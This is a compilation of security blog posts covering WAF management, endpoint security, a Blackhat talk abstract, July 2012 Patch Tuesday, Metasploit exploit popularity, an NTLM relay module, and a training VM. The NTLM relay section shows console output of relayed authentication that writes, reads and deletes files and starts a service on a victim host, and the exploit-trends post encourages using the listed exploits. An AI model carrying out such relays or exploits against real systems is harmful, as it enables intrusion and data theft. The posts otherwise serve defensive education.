New Series: Pragmatic WAF Management

New Series: Pragmatic WAF Management:
Outside our posts on ROI and ALE, nothing has prompted as much impassioned debate as Web Application Firewalls (WAFs). Every time someone on the Securosis team writes about Web App Firewalls, we create a mini firestorm. The catcalls come from all sides: “WAFs Suck”, “WAFs are useless”, and “WAFs are just a compliance checkbox product.” Usually this feedback comes from pen testers who easily navigate around the WAF during their engagements. The people we poll who manage WAFs – both employees and third party service providers – acknowledge the difficulty of managing WAF rules and the challenges of working closely with application developers. But at the same time, we constantly engage with dozens of companies dedicated to leveraging WAFs to protect applications. These folks get how WAFs impact their overall application security approach, and are looking for more value from their investment by optimizing their WAFs to reduce application compromises and risks to their systems.

A research series on Web Application Firewalls has been near the top of our research calendar for almost three years now. Every time we started the research, we found a fractured market solving a limited set of customer use cases, and our conversations with many security practitioners brought up strong arguments, both for and against the technology. WAFs have been available for many years and are widely deployed, but their capability to detect threats varies widely, along with customer satisfaction.

Rather than our typical “Understanding and Selecting” approach research papers, which are designed to educate customers on emerging technologies, we will focus this series on how to effectively use WAF. So we are kicking off a new series on Web Application Firewalls, called “Pragmatic WAF Management.”

Our goal is to provide guidance on use of Web Application Firewalls. What you need to do in order to make WAFs effective for countering web-borne threats, and how a WAF helps mitigate application vulnerabilities. This series will dig into the reasons for the wide disparity in opinions on the usefulness of these platforms. This debate really frames WAF management issues – sometimes disappointment with WAF due to the quality of one specific vendor’s platform, but far more often the problems are due to mismanagement of the product.

So let’s get going, delve into WAF management, and document what’s required to get the most for your WAF.

Defining WAF

Before we go any farther, let’s make sure everyone is on the same page for what we are describing. We define Web Application Firewalls as follows:

A Web Application Firewall (WAF) monitors requests to, and responses from, web based applications or services. Rather than general network or system activity, a WAF focuses on application-specific communications and protocols – such as HTTP, XML, and SOAP. WAFs look for threats to application – such as injection attacks and malicious inputs, tampering with protocol or session data, business logic attacks, or scraping information from the site. All WAFs can be configured purely to monitor activity, but most are used to block malicious requests before they reach the application; sometimes they are even used to return altered results to the requestor.

WAF is essentially a peer of the application, augmenting its behavior and providing security when and where the application cannot.

Why Buy

For the last three years WAFs have been selling at a brisk pace. Why? Three words: Get. Compliant. Fast. The Payment Card Industry’s Data Security Standard (PCI-DSS) prescribes WAF as an appropriate protection for applications that process credit card data. The standard offers a couple options: build security into your application, or protecting it with a WAF. The validation requirements for WAF deployments are far less rigorous than for secure code development, so most companies opt for WAFs. Plug it in and get your stamp. WAF has simply been the fastest and most cost-effective way to satisfy the PCI-DSS standard.

The reasons WAFs existed in the first place, and these days the second most common reason customers purchase them, is that Intrusion Detection Systems (IDS) and general-purpose network firewalls are ineffective for application security. They are both poorly suited to protecting the application layer. In order to detect application misuse and fraud, a device must understand the dialogue between the application and the end user. WAFs were designed to fill this need, and they ‘speak’ application protocols so they can identify when an application is under attack.

But our research shows a change over the last year: more and more firms want to get more value out of their WAF investment. The fundamental change is motivated by companies which need to reign in the costs of securing legacy applications under continuing budget pressure. These large enterprises have hundreds or thousands of applications, built before anyone considered ‘hacking’ a threat. You know, those legacy applications that really don’t have any business being on the Internet, but are now “business critical” and exposed to every attackers on the net. The cost to retroactively address these applications’ exposures within the applications themselves are often greater than the worth of the applications, and the time to fix them is measured in years – or even decades. Deep code-level fixes are not an option – so once again WAFs are seen as a simpler, faster, and cheaper way to bolt security on rather than patching all the old stuff.

This is why firms which originally deployed WAFs to “Get compliant fast!” are now trying to make their WAFs “Secure legacy apps for less!”

Series Outline

We plan 5 more posts, broken up as follows:

• The Trouble with WAFs: First we will address the perceived effectiveness of WAF solutions head-on. We will talk about why security professionals and application developers are suspicious of WAFs today, and the history behind those perceptions. We will discuss the “compliance mindset” that drove early WAF implementations, and how compliance buyers can leverage their investment to protect web applications from general threats. We will address the missed promises of heuristics, and close with a discussion of how companies which want to “build security in” (the long term goal) need to balance the efficiency of fixing problems within the development cycle against the need to quickly respond to immediate threats to production Web applications.
• The WAF Management Process: To provide a framework for solving the problems identified in this post, we will present a high-level process map for pragmatically managing the WAF environment. It will start with steps to manage policies, highlight integration points with the existing application development lifecycle, and finally address securing the WAF.
• Policy Management: Despite many companies’ hopes, WAF is not a “set and forget” tool – instead it’s a security platform which requires adjustment to new and evolving threats. In order to block threats, keep unwanted requests and malware from hitting your applications, and virtually patch known vulnerabilities in the application stack, WAFs must be regularly tuned. We will discuss how those responsible for WAF management need to work with security to understand common application threats, and what catalysts or events should prompt you to update policies. We will discuss the need to periodically check with the WAF vendor for new policies and capabilities, as well as with CERT/Mitre and other sources for new vulnerability data, and the need to continually revisit the ‘negative’ security model (blocking the bad). We’ll discuss the good, the bad, and the ugly aspects of heuristics for managing policy sets. Finally, we will cover the need to periodically deprecate policies, re-examine deployment options (in-line, bridge, plug-in, out-of-band) and acknowledge that different applications dictate different deployment models.
• Application Lifecycle Integration: Keeping WAF rule sets current in the face of web application development cycles which push new code weekly – if not daily – can present the biggest difficulty in WAF management. While most WAFs leverage a ‘positive’ security model (block everything which is not explicitly authorized) that does not mean the application activity is static. URLs and features change, and new capabilities are added constantly – all of which inherently impact the WAF ruleset. We will discuss how the WAF management process must be both cognizant of and integrated into the application development methodology to understand what new functions are on the horizon, when new releases will be pushed live, how best to engage with development teams, and how to test rules prior to production release.
• Securing the WAF: Like most applications, WAFs themselves are subject to manipulation, attacks, and evasion. We will examine how a WAF presents targets of opportunity to attackers and look at the more esoteric aspects of WAF security, including SSL interception, data leakage, and evasion techniques employed by attackers. We will also discuss the benefits of different deployment models and how they affect security and scalability, as well as cloud and hybrid services, to help you understand the requirements for protecting the WAF. We will talk about how pen testing the WAF, in conjunction with your applications, reveals deficiencies in WAF deployments and increases the security of any organization. Finally, we will review ways to automate WAF management and make your job easier.

Next up: The trouble with WAFs, coming tomorrow afternoon.

- Adrian Lane
(0) Comments

Endpoint Security Management Buyers Guide: the ESM Lifecycle

Endpoint Security Management Buyers Guide: the ESM Lifecycle:
As we described in The Business Impact of Managing Endpoint Security, the world is complex and only getting more so. You need to deal with more devices, mobility, emerging attack vectors, and virtualization, among other things. So you need to graduate from the tactical view of endpoint security.

Thinking about how disparate operations teams manage endpoint security today, you probably have tools to manage change – functions such as patch and configuration management. You also have technology to control use of the endpoints, such as device control and file integrity monitoring. So you might have 4 or more different consoles to manage one endpoint device. We call that problem swivel chair management – you switch between consoles enough to wear out your chair. It’s probably worth keeping a can of WD-40 handy to ensure your chair is in tip-top shape.

Using all these disparate tools also creates challenges in discovery and reporting. Unless the tools cleanly integrate, if your configuration management system (for instance) detects a new set of instances in your virtualized data center, your patch management offering might not even know to scan those devices for missing patches. Likewise, if you don’t control the use of I/O ports (USB) on the endpoints, you might not know that malware has replaced system files unless you are specifically monitoring those files. Obviously, given ongoing constraints in funding, resources, and expertise, finding operational leverage anywhere is a corporate imperative.

So it’s time to embrace a broader view of Endpoint Security Management and improve integration among the various tools in use to fill these gaps. Let’s take a little time to describe what we mean by endpoint security management, the foundation of an endpoint security management suite, its component parts, and ultimately how these technologies fit into your enterprise management stack.

The Endpoint Security Management Lifecycle

As analyst types, the only thing we like better than quadrant diagrams are lifecycles. So of course we have an endpoint security management lifecycle. Of course none of these functions are mutually exclusive, and you don’t may not perform all these functions. And keep in mind that you can start anywhere, and most organizations already have at least some technologies in place to address these problems. It’s has become rare for organizations to manage endpoint security manually.

We push the lifecycle mindset to highlight the importance of looking at endpoint security management strategically. A patch management product can solve part of the problem, tactically. And the same with each of the other functions. But handling endpoint security management as a platform can provide more value than dealing with each function in isolation.

So we drew a picture to illustrate our lifecycle. We show both periodic functions (patch and configuration management) which typically occur every day or every two. We also depict ongoing activities (device control and file integrity monitoring) which need to run all the time – typically using device agents.

Let’s describe each part of the lifecycle at a high level, before we dig down in subsequent posts.

Configuration Management

Configuration management provides the ability for an organization to define an authorized set of configurations for devices in use within the environment. These configurations govern the applications installed, device settings, services running, and security controls in place. This capability is important because a changing configuration might indicate malware manipulation, an operational error, or an innocent and unsuspecting end user deciding it’s a good idea to bring up an open SMTP relay on their laptop. Configuration management enables your organization to define what should be running on each device based on entitlements, and to identify non-compliant devices.

Patch Management

Patch management installs fixes from software vendors to address vulnerabilities in software. The best known patching process comes from Microsoft every month. On Patch Tuesday, Microsoft issues a variety of software fixes to address defects that could result in exploitation of their systems. Once a patch is issued your organization needs to assess it, figure out which devices need to be patched, and ultimately install the patch within the window specified by policy – typically a few days. The patch management product scans devices, installs patches, and reports on the success and/or failure of the process. Patch Management Quant provides a very detailed view of the patching process, so check it out if you want more information.

Device Control

End users just love the flexibility their USB ports provide for their ‘productivity’. You know – the ability to share music with buddies and download your entire customer database onto their phones became – it all got much easier once the industry standardized on USB a decade ago. All kidding aside, the ability to easily share data has facilitated better collaboration between employees, while simultaneously greatly increasing the risk of data leakage and malware proliferation. Device control technology enables you both to enforce policy for who can use USB ports, and for what; and also to capture what is copied to and from USB devices. As a more active control, monitoring and enforcement of for device usage policy eliminates a major risk on endpoint devices.

File Integrity Monitoring

The last control we will mention explicitly is file integrity monitoring, which watches for changes in critical system files. Obviously these file do legitimately change over time – particularly during patch cycles. But those files are generally static, and changes to core functions (such as the IP stack and email client) generally indicate some type of problem. This active control allows you to define a set of files (including both system and other files), gather a baseline for what they should look like, and then watch for changes. Depending on the type of change, you might even roll back those changes before more bad stuff happens.

The Foundation

The centerpiece of the ESM platform is an asset management capability and console to define policies, analyze data, and report. A platform should have the following capabilities:

• Asset Management/Discovery: Of course you can’t manage what you can’t see, so the first critical capability of an ESM platform is sophisticated discovery. When a new device appears on the network the ESM should know about it. That may happen via scanning the organization’s IP address ranges, passively monitoring traffic, or integrating with other asset management repositories (CMDB, vulnerability management, etc). Regardless of how the platform is populated, without a current list of assets you cannot manage endpoint security.
• Policy Interface: The next key capability of the ESM platform is the ability to set policies – a very broad requirement. You must be able to set standard configurations, patch windows, device entitlements, etc., for groups of devices and users. Obviously it is necessary to balance policy granularity against ease of use, but without an integrated policy encompassing all the platform’s capabilities, you are still stuck in your swivel chair.
• Analytics: Once policies are defined you need to analyze and alert on them. The key here is the ability to set rules and triggers across all functions of the ESM platform. For instance, if a configuration change occurs shortly after a patch fails, followed by a system file being changed, that might indicate a malware infection. We aren’t talking about the sophisticated multivariate analysis available in enterprise-class SIEMs – just the ability to set alerts based on common attacks you are likely to see.
• Reporting: You just cannot get around compliance. Many security projects receive funding and resources from the compliance budget, which means your ESM platform needs to report on what is happening. This isn’t novel but it is important. The sooner you can provide the information to make your auditor happy, the sooner you can get back to the rest of your job.

Obviously we could write an entire series just about buying the ESM platform, but that’s enough for now. The key is to look for integration across asset management, policies, analytics, and reporting, to provide the operational leverage you need.

Enterprise Integration Points

Before we move on to specific functions of the platform, keep in mind that no platform really stands alone in an organization. You already have plenty of technology in place, and anything you buy to manage endpoint security needs to play nice with your other stuff. So keep these other enterprise management systems in mind as you look at ESM. Make sure your vendor can provide sufficient integration, or at a minimum a SDK/API to pull data from or send it to these other systems.

• Operations Management – including device building/provisioning, software distribution/licensing, and other asset repositories
• Vulnerability Management – for discovery, vulnerabilities, and patch levels
• Endpoint Protection – including anti-malware and full disk encryption, potentially leveraging agents to simplify management and minimize performance impact
• SIEM/Log Management – for robust data aggregation, correlation, alerting and reporting
• Backup/Recovery – many endpoints house valuable data, so make sure device failure doesn’t put intellectual property at risk

Obviously this view of the platform and capabilities is high level. Next we will dig into the periodic functions of patch and configuration management.

- Mike Rothman
(0) Comments

Blackhat 2010 - The Emperor Has No Clothes: Insecurities in Security Infrastructure

Blackhat 2010 - The Emperor Has No Clothes: Insecurities in Security Infrastructure: BEN FEINSTEIN, JEFF JARMOC & DAN KING

The Emperor Has No Clothes: Insecurities in Security Infrastructure

Your security infrastructure (firewalls, IDS/IPS devices, management consoles, etc.) holds a very sensitive position of trust. This equipment is relied upon to reliably perform security critical functions under potentially hostile conditions. These are highly valuable assets to an attacker, yet their value is sometimes not captured by conventional risk management. This presentation will explore several new vulnerabilities and weaknesses in these products, with the goal of offering useful recommendations and approaches for mitigating the risk.

This presentation explores a series of vulnerabilities and weaknesses in security infrastructure that we discovered and responsibly disclosed. We're in the business of managing and monitoring this gear for our clients, so we have great familiarity with all aspects of its operation. We've found that security infrastructure appears to be just as prone to security vulnerabilities as other commercial software, if not more so.

Daniel King discovered McAfee Network Security Manager (the web-based management appliance for McAfee IPS sensors) was vulnerable to authentication bypass / session hijacking (CVE-2009-3565) and cross-site scripting (CVE-2009-3566) vulnerabilities. We'll demonstrate a proof-of-concept attack scenario that blends these vulnerabilities to gain unauthorized access to the NSM web management interface through cookie stealing and hijacking an administrator's session.

Jeff Jarmoc discovered an access-control list (ACL) bypass vulnerability in Cisco Adaptive Security Appliance (ASA) and Cisco PIX (CVE-2009-1160, Cisco Bug ID CSCsq91277). These devices would fail to apply the expected implicit deny behavior for packets that did not match any ACEs in an ACL.

The TLS renegotiation vulnerability publicly disclosed in November 2009 (CVE-2009-3555) impacted many products, including Cisco Adaptive Security Device Manager (ASDM) (Cisco Bug ID CSCtd00697). We will demonstrate a never before seen proof-of-concept attack that exploits the TLS authentication gap to achieve arbitrary command injection against the Cisco ASDM web-based management interface. A man-in-the-middle may arbitrarily manipulate the ASA policies managed by an ASDM by exploiting the TLS authentication gap. Cisco fixed this in a general deployment release on January 11, 2010 with version 8.2(2). If you haven't patched before seeing this demo, you will want to afterward!

Using these vulnerabilities and weaknesses as illustrative examples, we will offer real-world recommendations for on how to better secure your organization's security infrastructure. Some recommendations include ruling your security infrastructure as within scope during penetration testing and security assessment activities, including product security in your organization's purchasing and product evaluation processes, and somewhat ironically, deployment of security products in the role of compensating controls for potential vulnerabilities in other parts of your organization's security infrastructure.

Microsoft Patch Tuesday July 2012 – TLS and Office for Mac?

Microsoft Patch Tuesday July 2012 – TLS and Office for Mac?:

We have nine bulletins to deal with this month three of which are rated critical. One of those critical bulletins covers two CVEs in Internet Explorer with the other two critical bulletins in different parts of Windows. We are looking at a total of 16 CVE numbers this month across all the bulletins.  I found two of these particularly interesting MS-12-049 for it implication in encrypted communications and MS12-051 because you just don’t see OSX application vulnerabilities every day.
MS12-043/KB2722479
CRITICAL

Remote Code Execution in XML Core Services

CVE-2012-1889

Microsoft has seen use of this one in the wild already, not a lot, but it is out there. The problem lies with XML services, again. You will need to visit a specially crafted web page in order for an attacker to take advantage of this vulnerability but with today’s phishing techniques that’s not too hard. Once you’ve visited that special webpage an attacker has the capability for remote code execution. Not a good thing.  The update changes the way that MSXML initializes objects in memory and applies to Microsoft XML Core Services 3.0 thru 6.0, whether it is critical or moderate depends on specifically which OS and which other applications are installed.

MS12-044/KB2719177

CRITICAL

Cumulative Security Update for Internet Explorer

CVE-2012-1522  CVE-2012-1524

A two-fer! 1 bulletin for 2 vulnerabilities! Again we are dealing with a specially crafted webpage, a link to which can be easily delivered via email or instant message so always be careful what you click on. If you do click on a bad link this vulnerability will take advantage of issues in Internet Explorer 9 to give the current users rights to the attacker or allow remote code execution. One deals with how IE handles deleted items, the other with objects in memory. Either way if you run as an admin, which many people do, well, game over. Thankfully this one has not bee seen in the wild, yet.

MS12-045/KB2698365

CRITICAL

Remote Code Execution in MS Data Access Components

CVE-2012-1891

The final critical bulletin for this month can be found in the Microsoft Data Access components of Windows. Again, an attacker would use a specially crafted web page to launch their attack and would end up with the access rights of the currently logged in user or could run arbitrary code on the target system. So, don’t go surfing the Internet logged in as Admin.

MS12-046/KB2707960

IMPORTANT

Remote Code Execution in Visual Basic

CVE-2012-1854

So if you open a perfectly good MS office file (such as a .docx) that just happens to have specially crafted DLL in the same directory an attacker can then do all kinds of nasty things like delete files, create new accounts, etc… and if your logged in as admin, well, then the bad guys basically own the whole the box. So if you have Visual Basic for Applications SDK, or third party applications that use MS VBA, or even one of several different versions MS office installed you will need this update. Since this one has been seen in the wild you will want to apply this update as soon as you can.

MS12-047/KB2718523

IMPORTANT

Elevation of Privilege in Kernel-Mode Drivers

CVE-2012-1890 CVE-2012-1893

Another two-fer! No specially crafted web page needed for this one, just a valid set of logon credentials. Once logged in an attacker can run an application that takes advantage of flaws in win32k.sys, a kernel-mode driver. This would allow her to do things her account might not normally be able to do like install apps, delete data or even create new accounts.

MS12-048/KB2691442
IMPORTANT

Remote Code Execution in Windows Shell

CVE-2012-0175

So what is Windows Shell? Its not the command line, it’s a service that manages virtual objects in the user interface into a hierarchical namespace so that users and applications know where the hell to find things. Anyway, this vulnerability deals with object names, specifically file and directory names. To exploit this vulnerability someone would email you a file, or convince you to download a file from a website and when you attempted to run that file the attacker would end up with what would basically amount to complete control of your machine. Ouch.

MS12-049/KB2655992

IMPORTANT

Information Disclosure in TLS

CVE-2012-1870

TLS is the Transport Layer Security Handshake Protocol and is very similar to SSL. SSL is the predecessor of TLS, they are used to encrypt communication sessions between hosts. If the Cipher-block chaining (CBC) method of TLS is used then an attacker could decrypt intercepted encrypted traffic. The update modifies the way that the Windows Secure Channel and the Cryptography API handle encrypted packets. While this vulnerability has been publicly disclosed already it has not yet been seen in the wild, thank goodness, but yeah, patch as soon as you can.

MS12-050/KB2695502
IMPORTANT

Elevation of Privilege in SharePoint

CVE-2012-1858  CVE-2012-1859  CVE-2012-1860   CVE-2012-1861 
CVE-2012-1862  CVE-2012-1862  CVE-2012-1863

Two-fer? How about a Seven-fer? That’s right this one bulletin corrects seven CVEs. They all have to do with Sharepoint, both 2007 and 2010 but you will also need this update if you are running InfoPath or Groove Server. The issues mostly revolve around how Sharepoint handles HTML strings and how it validates and sanitizes user input. While it looks like CVE-2012-1858 has been publicly disclosed Microsoft hasn’t seen any of these being actively exploited in the wild, yet.

MS12-051/KB2721015

IMPORTANT

Elevation of Privilege in MS Office for Mac

CVE-2012-1894

You may not see OSX application vulnerabilities every day they do in fact exist. Although in this case actually exploiting it takes more than a few steps. First an attacker needs to get a specially crafted application into the Microsoft office folder on an OSX machine and then convince a different user to execute it, preferably one with higher privileges than the attacker. It comes down to the default permissions set on the MS Office for Mac folder which this update addresses, so this is more of a luring attack that a direct elevation of privilege.

Exploit Trends: New Microsoft and MySQL Exploits Make the Top 10

Exploit Trends: New Microsoft and MySQL Exploits Make the Top 10:

The new Metasploit exploit trends are out, where we give you a list of the top 10 most searched Metasploit exploit and auxiliary modules from our exploit database (DB). These stats are collected by analyzing searches on metasploit.com in our webserver logs, not through usage of Metasploit, which we do not track for privacy reasons.

In June 2012, we also have three new entries on the list, and seven existing contenders. Here they are, annotated with Tod Beardley's excellent comments:

1. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you’ve ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it. More on this topic at Microsoft’s Security TechCenter. Same position as last month.
   
2. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues. More on this topic in an article on ZD Net. Same position as last month.
   
3. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that’s notable in that there’s no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice. More on this topic in at Microsoft’s Security TechCenter. Same position as last month.
   
4. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines - this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2. More info on that at Windows IT Pro. Up 2 places from #6 since last month.
   
5. MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption (CVE-2012-1875): This module was mentioned in the IE Zero-Day Exploits blog post along with the XML Core Services bug, CVE-2012-1889. Also like the XML Core services bug, this bug was being actively exploited in the wild in June of 2012. Unlike the XML Core Services bug, though, this one had a patch. I suspect there was some confusion about which bug was patched and which wasn't, given the modules were released close together and both were mentioned in the same post. Regardless, given the recency of these modules, it's not surprising to see them leap into the top ten for June. New entry since last month.
   
6. Microsoft XML Core Services MSXML Uninitialized Memory Corruption (CVE-2012-1889): This vulnerability was recently profiled in Wei "sinn3r" Chen's blog post, New Critical Microsoft IE Zero-Day Exploits. As the title suggests, this module exploits an unpatched vulnerability in Internet Explorer, so that's pretty exciting just in and of itself. In addition, this Metasploit module is the first (and still only) safe and reliable method to test the efficacy of whatever mitigation strategy your client workstations might have implemented.  New entry since last month.
   
7. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop (CVE-2010-0017, MSB-MS10-006): Not sure why this module is popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you. More info on that at The H Security. Same position as last month.
   
8. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. Even though it’s a lowly #10, I’d bet it’s the most-used module in classroom and test environments. More on this topic in at the National Vulnerability Database. Up 2 from #10 since last month.
   
9. MySQL Authentication Bypass Password Dump (CVE-2012-2122): This module was featured in HD Moore's June blog post, CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL. It's a fun, recent module that exploits a bug in a popular application in a way that's super-easy to explain, so it's no wonder that this module has all the features of a crowd-pleaser. New entry since last month.
   
10. Adobe PDF Embedded EXE Social Engineering (CVE-2010-1240): This module exploits CVE-2010-1240 in Adobe Reader. The idea is that you can embed and execute a Meterpreter PE Executable in a PDF, and when the user opens the PDF, surprise shells! Since it’s on this list, it’s probably the most popular social engineering-style module. More on this topic in at the National Vulnerability Database.  Down 2 places from #8 since last month.
    

If you want to use any of these exploits right now, you can download Metasploit for free!

Cross-Protocol Chained Pass the Hash for Metasploit

Cross-Protocol Chained Pass the Hash for Metasploit:
Every so often someone writes a Metasploit Module that is pretty epic. Today is one such day:

Twitter Link: https://twitter.com/webstersprodigy/status/222529916783169536
Which has a link to here: https://github.com/rapid7/metasploit-framework/pull/589
Demo / Example resource files: https://skydrive.live.com/?cid=19794fac33285fd5&resid=19794FAC33285FD5!170&id=19794FAC33285FD5%21170
You can pull the fork w/ branch from here: https://github.com/webstersprodigy/metasploit-framework/tree/module-http-ntlmrelay
And as soon as you do you can start doing this (using the example resource file to put a file, cat it out, enum shares available, list files on a share, then psexec all from a single URL being loaded):
163 address is the Victim I tricked into loading a URL and 182 is the system I want to get onto. This is an HTTP request resulting in a SMB Relay'd auth. It looks as though multiple targets can be used as relay targets but I haven't tested this out yet.

[*] 172.16.10.163 http_ntlmrelay - NTLM Request '/smb_put' from 172.16.10.163:52327
[*] 172.16.10.163 http_ntlmrelay - Beginning NTLM Relay...
[*] 172.16.10.163 http_ntlmrelay - SMB auth relay succeeded
[*] 172.16.10.163 http_ntlmrelay - File \\172.16.10.182\c$\secret.txt written
[*] 172.16.10.163 http_ntlmrelay - NTLM Request '/smb_get' from 172.16.10.163:52328
[*] 172.16.10.163 http_ntlmrelay - Beginning NTLM Relay...
[*] 172.16.10.163 http_ntlmrelay - SMB auth relay succeeded
[*] 172.16.10.163 http_ntlmrelay - Reading 13 bytes from 172.16.10.182
[*] 172.16.10.163 http_ntlmrelay - ----Contents----
[*] 172.16.10.163 http_ntlmrelay - hi ima secret
[*] 172.16.10.163 http_ntlmrelay - ----End Contents----
[*] 172.16.10.163 http_ntlmrelay - NTLM Request '/smb_enum' from 172.16.10.163:52329
[*] 172.16.10.163 http_ntlmrelay - Beginning NTLM Relay...
[*] 172.16.10.163 http_ntlmrelay - SMB auth relay succeeded
[*] 172.16.10.163 http_ntlmrelay - Shares enumerated 172.16.10.182 IPC$ADMIN$C$
[*] 172.16.10.163 http_ntlmrelay - NTLM Request '/smb_ls' from 172.16.10.163:52330
[*] 172.16.10.163 http_ntlmrelay - Beginning NTLM Relay...
[*] 172.16.10.163 http_ntlmrelay - SMB auth relay succeeded
[*] 172.16.10.163 http_ntlmrelay - Listed 13 files from 172.16.10.182\c$\
[*] 172.16.10.163 http_ntlmrelay - .rnd
[*] 172.16.10.163 http_ntlmrelay - PerfLogs
[*] 172.16.10.163 http_ntlmrelay - config.sys
[*] 172.16.10.163 http_ntlmrelay - inetpub
[*] 172.16.10.163 http_ntlmrelay - xampp
[*] 172.16.10.163 http_ntlmrelay - ProgramData
[*] 172.16.10.163 http_ntlmrelay - MSOCache
[*] 172.16.10.163 http_ntlmrelay - secret.txt
[*] 172.16.10.163 http_ntlmrelay - autoexec.bat
[*] 172.16.10.163 http_ntlmrelay - Windows
[*] 172.16.10.163 http_ntlmrelay - Users
[*] 172.16.10.163 http_ntlmrelay - Program Files
[*] 172.16.10.163 http_ntlmrelay - NTLM Request '/smb_rm' from 172.16.10.163:52332
[*] 172.16.10.163 http_ntlmrelay - Beginning NTLM Relay...
[*] 172.16.10.163 http_ntlmrelay - SMB auth relay succeeded
[*] 172.16.10.163 http_ntlmrelay - File \\172.16.10.182\c$\secret.txt deleted
[*] 172.16.10.163 http_ntlmrelay - NTLM Request '/smb_pwn' from 172.16.10.163:52333
[*] 172.16.10.163 http_ntlmrelay - Beginning NTLM Relay...
[*] 172.16.10.163 http_ntlmrelay - SMB auth relay succeeded
[*] 172.16.10.163 http_ntlmrelay - Obtraining a service manager handle...
[*] 172.16.10.163 http_ntlmrelay - Creating a new service
[*] 172.16.10.163 http_ntlmrelay - Closing service handle...
[*] 172.16.10.163 http_ntlmrelay - Opening service...
[*] 172.16.10.163 http_ntlmrelay - Starting the service...

Let the fun begin...

GameOver

It always helps to have a test bed that helps you hone your attacking skills. GameOver is a new offering from the NULL community that helps you do that even if you are a newbie!

Simply put, Project GameOver was started with the objective of training and educating newbies about the basics of web application security and educate them about the common web attacks and help them understand how they work. It is a collection of various vulnerable web applications, designed with the purpose of learning web application penetration testing.GameOver is a Virtual Machine image, built upon Voyage Linux as its base OS. Voyage is a minimilistic Linux distribution which is in turn based on Debian. For ease of use, GameOver has been broken down into two sections:

• Section 1consists of special web applications that are designed to teach the basics of webapplication security. This section covers vulnerabilities such as:
  • XSS
  • CSRF
  • RFI & LFI
  • BruteForce Authentication
  • Directory/Path traversal
  • Command execution
  • SQL injection
• Section 2 is a collection of deliberately insecure web applications. It provides a legal platform to test your skills and to try and exploit the vulnerabilities and sharpen your skills before you pentest live sites. These applications provide real life environments and will boost their confidence.

Applications contained in GameOver:

• Section 1:
  1. Damn Vulneable Web Application: (http://www.dvwa.co.uk/)
  2. OWASP WebGoat:(https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)
  3. Ghost (http://www.gh0s7.net/)
  4. Mutillidae (http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10)
  5. Zap-Wave: (http://code.google.com/p/zaproxy/)
• Section 2:
  1. Owasp Hacademic Challenges : (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project)
  2. Owasp Vicnum: (https://www.owasp.org/index.php/Category:OWASP_Vicnum_Project)
  3. WackoPicko: (http://www.aldeid.com/wiki/WackoPicko)
  4. Owasp Insecure Web App: (https://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project)
  5. BodgeIT: (http://code.google.com/p/bodgeit/)
  6. PuzzleMall: (https://code.google.com/p/puzzlemall/)
  7. WAVSEP: (https://code.google.com/p/wavsep/)

We have covered almost all of these in our previous posts. You may look them by searching through the blog. Unfortunately, though there is an .ISO provided, in it’s current version GameOver can not be installed in in an virtual environment. It needs to be run as a Live image and you can login with the following credentials:
Username: root
Password: gameover

Download GameOver:

GameOver v1.1: GameOver_v0.1_Null_VM.7z/GameOver.0.1.null.iso- http://sourceforge.net/projects/null-gameover/files/